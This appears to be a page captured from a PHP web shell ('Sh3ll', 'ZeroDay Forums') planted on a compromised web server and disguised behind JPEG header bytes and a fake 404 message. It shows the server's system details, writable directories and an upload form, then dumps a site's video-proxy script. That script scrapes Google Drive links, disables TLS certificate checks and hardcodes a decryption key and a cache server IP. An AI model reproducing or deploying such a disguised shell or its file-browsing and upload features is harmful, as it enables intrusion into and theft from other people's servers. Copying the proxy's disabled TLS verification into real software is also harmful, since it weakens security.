ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/proxy/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/vidoe.top/proxy/Drive2.php
<?php
define('MSG_NO_ACCESS', 'No access');
/*$arr_bot_deny = array('googlebot','bingbot','baiduspider','ahrefsbot','semrushbot','seznambot','yoozbot','linkdexbot','mj12bot','seobilitybot','msnbot-media','facebookexternalhit',' mail.ru_bot','musobot','sogou web spider');
foreach ($arr_bot_deny as $val) {
    if(stripos($_SERVER['HTTP_USER_AGENT'],$val)!== false){
        header('HTTP/1.0 403 Forbidden');
        die();
        exit();
    }
}*/
$acceptedDomains = array('movieandvideo.net','123vid.net');
$referer=get_domain($_SERVER['HTTP_REFERER']);
if(!$referer || !in_array($referer,$acceptedDomains))
{
    header('HTTP/1.0 403 Forbidden');
    exit(MSG_NO_ACCESS);
}
function get_domain($url)
{
    $pieces = parse_url($url);
    $domain = isset($pieces['host']) ? $pieces['host'] : '';
    if (preg_match('/(?P<domain>[a-z0-9][a-z0-9\-]{1,63}\.[a-z\.]{2,6})$/i', $domain, $regs))
    {
        return $regs['domain'];
    }
    return false;
}
if (substr_count($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip')){
    ob_start('ob_gzhandler');
}else{
    ob_start();
}
include "simple_html_dom.php";
function str_encode($data,$pwd)
{
    $x = 0;
    $a = 0;
    $j = 0;
    $Zcrypt = '';
    $pwd_length = strlen($pwd);
    for ($i = 0; $i < 255; $i++) {
        $key[$i] = ord(substr($pwd, ($i % $pwd_length)+1, 1));
        $counter[$i] = $i;
    }
    for ($i = 0; $i < 255; $i++) {
        $x = ($x + $counter[$i] + $key[$i]) % 256;
        $temp_swap = $counter[$i];
        $counter[$i] = $counter[$x];
        $counter[$x] = $temp_swap;
    }
    for ($i = 0; $i < strlen($data); $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $counter[$a]) % 256;
        $temp = $counter[$a];
        $counter[$a] = $counter[$j];
        $counter[$j] = $temp;
        $k = $counter[(($counter[$a] + $counter[$j]) % 256)];
        $Zcipher = ord(substr($data, $i, 1)) ^ $k;
        $Zcrypt .= chr($Zcipher);
    }
    return $Zcrypt;
}
function getlink($id)
{
    $link = "https://drive.google.com/uc?export=download&id=$id";
    $ch = curl_init();
    curl_setopt ($ch, CURLOPT_URL, $link);
    curl_setopt($ch, CURLOPT_HEADER, TRUE);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,false);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_COOKIEJAR, dirname(__FILE__) . "/google.mp3");
    curl_setopt($ch, CURLOPT_COOKIEFILE, dirname(__FILE__) . "/google.mp3");

    $page = curl_exec($ch);
    $chuyen =  locheader($page);
    if ($chuyen != ""){

    } else {
        $html = str_get_html($page);
        $link = urldecode(trim($html->find('a[id=uc-download-link]',0)->href));
        $tmp = explode("confirm=",$link);
        $tmp2 = explode("&",$tmp[1]);
        $confirm = $tmp2[0];
        $linkdowngoc = "https://drive.google.com/uc?export=download&id=$id&confirm=$confirm";
        curl_setopt ($ch, CURLOPT_URL, $linkdowngoc);
        curl_setopt($ch, CURLOPT_HEADER, TRUE);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,false);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_COOKIEJAR, dirname(__FILE__) . "/google.mp3");
        curl_setopt($ch, CURLOPT_COOKIEFILE, dirname(__FILE__) . "/google.mp3");

        // Getting binary data
        $page = curl_exec($ch);
        $chuyen =  locheader($page);

    }
    curl_close($ch);
    return $chuyen;
}
function locheader($page)
{
    $temp = explode("\r\n", $page);
    foreach ($temp as $item) {
        $temp2 = explode(": ", $item);
        $infoheader[$temp2[0]] = $temp2[1];
    }
    $location = $infoheader['Location'];
    return $location;
}


    $url = $_GET['url'];
$url = str_encode(hex2bin($url), 'ngocgiac');
$memcache = new Memcache;
$memcache->connect('46.249.32.55', 11211) or die ("Sorry, could not connect memcached! . We're working on getting this fixed as soon as we can.");
$key_url = md5($url);
$cache_show_source = $memcache->get($key_url);
if($cache_show_source){
    $show_source = $cache_show_source['show_source'];
    $default_res = $cache_show_source['default_res'];
}else {
    
    $tmp = explode("file/d/", $url);
    $tmp2 = explode("/", $tmp[1]);
    $id = $tmp2[0];
    $linkdown = trim(getlink($id));
    $arr_check = get_headers($linkdown,true);
    if($arr_check['type']=='video/mp4') {
        $show_source = '<source src="' . $linkdown . '" type="video/mp4" data-res="720p">';
        $default_res = '720p';
    }else{
        echo '<iframe src="https://www.youtube.com/embed/?autoplay=1&docid='.$id.'&partnerid=30&html5=1&controls=1&showinfo=0&rel=0&modestbranding=0&playsinline=1&enablejsapi=1&widgetid=1" width="100%" height="100%" frameborder="0" allowfullscreen></iframe>';
        exit();
    }
    /*if($arr_check['type']=='video/x-matroska') {
        $show_source = '<source src="' . $linkdown . '" type=\''.$arr_check['type'].' ; codecs="theora, vorbis"\' data-res="720p"/><p>Please use Chrome Browser for play this video!</p>';
        $default_res = '720p';
    }*/

    $result['show_source'] = $show_source;
    $result['default_res'] = $default_res;
    $memcache->set($key_url, $result, MEMCACHE_COMPRESSED, 1200);
}
?>
<html>
<head>
    <title>-Server movieantube-phimle1 embed-</title>
    <style type="text/css">
        body {
            background: #000000;
            margin: 0px;
            padding: 0px;
        }
    </style>
    <!--<link href="http://vjs.zencdn.net/5.19.2/video-js.css" rel="stylesheet">
    <script src="http://vjs.zencdn.net/5.19.2/video.js"></script>-->
    <!--<link href="http://movieandvideo.net/skin/phim98/assets/js/videojs/video-js.css" rel="stylesheet">
    <script src="http://movieandvideo.net/skin/phim98/assets/js/videojs/video.js"></script>-->
    <link href="http://movieandvideo.net/proxy/jscript/video_js/video-js.css" rel="stylesheet" type="text/css" />
    <script src="http://movieandvideo.net/proxy/jscript/video_js/video.js"></script>
    <link href="http://movieandvideo.net/proxy/jscript/video_js/button-styles.css" rel="stylesheet" type="text/css" />
    <script src="http://movieandvideo.net/proxy/jscript/video_js/video-quality-selector.js"></script>
    <script src="http://movieandvideo.net/skin/phim98/assets/js/videojs/videojs-media-sources.js"></script>
    <script src="http://movieandvideo.net/skin/phim98/assets/js/videojs/videojs.hls.min.js"></script>
    <script>
        videojs.options.flash.swf = "http://movieandvideo.net/proxy/jscript/video_js/video-js.swf";
    </script>

</head>
<body style="width: 100%; height: 100%" oncontextmenu="return false;">
<video id="ht_player" width="100%" height="100%" class="video-js vjs-default-skin" preload="none" poster=" " data-setup="{ }" autoplay controls>
    <?php echo $show_source;?>
    <p>Video Playback Not Supported</p>
</video>
<script type="text/javascript">
    videojs( '#ht_player', { plugins : { resolutionSelector : {
        default_res : '<?php echo $default_res;?>'
    } } }, function() {
        var player = this;
        player.on( 'changeRes', function() {
            console.log( 'Current Res is: ' + player.getCurrentRes() );
        });
    });
</script>
</body></html>
<?php
ob_end_flush();
exit();
?>

ZeroDay Forums Mini